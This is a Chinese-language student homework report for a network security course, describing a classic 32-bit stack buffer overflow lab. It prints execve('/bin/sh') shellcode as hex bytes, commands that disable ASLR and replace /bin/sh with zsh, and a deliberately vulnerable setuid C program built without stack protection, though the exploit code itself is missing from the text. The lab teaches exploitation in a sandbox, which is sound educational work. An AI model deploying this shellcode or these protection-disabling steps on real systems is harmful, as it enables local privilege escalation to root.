《網絡攻防》第十周作業
緩沖區溢出
實驗簡介
緩沖區溢出是指程序試圖向緩沖區寫入超出預分配固定長度數據的情況。這一漏洞可以被惡意用戶利用來改變程序的流控制,甚至執行代碼的任意片段。這一漏洞的出現是由於數據緩沖器和返回地址的暫時關閉,溢出會引起返回地址被重寫。
實驗準備
系統用戶名shiyanlou
實驗樓提供的是64位Ubuntu linux,而本次實驗為了方便觀察匯編語句,我們需要在32位環境下作操作,因此實驗之前需要做一些準備。
輸入命令安裝一些用於編譯32位C程序的東西:
sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev
初始設置
1.輸入命令“linux32”進入32位linux環境,輸入“/bin/bash”使用bash用來補全tab鍵。
2.使用命令sudo sysctl -w kernel.randomize_va_space=0
關閉地址空間隨機化功能。
3.為了進一步防範緩沖區溢出攻擊及其它利用shell程序的攻擊,許多shell程序在被調用時自動放棄它們的特權(能欺騙一個Set-UID程序調用一個shell,也不能在這個shell中保持root權限)。這個防護措施在/bin/bash中實現。使用以下指令將另一個shell程序(zsh)代替/bin/bash,從而重現這一防護措施被實現之前的情形。
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
Shellcode
一般情況下,緩沖區溢出會造成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而如果覆蓋返回地址的數據是另一個地址,那麽程序就會跳轉到該地址,如果該地址存放的是一段精心設計的代碼用於實現其他功能,這段代碼就是shellcode。
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
本次實驗的shellcode,就是以上代碼的匯編版本:\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
漏洞程序
漏洞程序讀取一個名為“badfile”的文件,並將文件內容裝入“buffer”。原始輸入最大長度為517字節,但是在bof()中的緩沖區只有12字節長。因為strcpy()不檢查邊界,將發生緩沖區溢出。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
用以下命令編譯該程序,並設置SET-UID
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c(GCC編譯器有一種棧保護機制來阻止緩沖區溢出,所以我們在編譯代碼時需要用 –fno-stack-protector 關閉這種機制。-z execstack 用於允許執行棧)
chmod u+s stack(不輸入此條命令最後不能獲得root shell)
exit
攻擊程序
攻擊剛才的漏洞程序,並通過攻擊獲得root權限。把以下代碼保存為“exploit.c”文件,保存到 /tmp 目錄下。代碼如下:
得到shellcode
在內存中的地址,輸入命令:
攻擊結果
先運行攻擊程序exploit,
再運行漏洞程序stack
,觀察結果:可見,通過攻擊,獲得了root權限!
《網絡攻防》第十周作業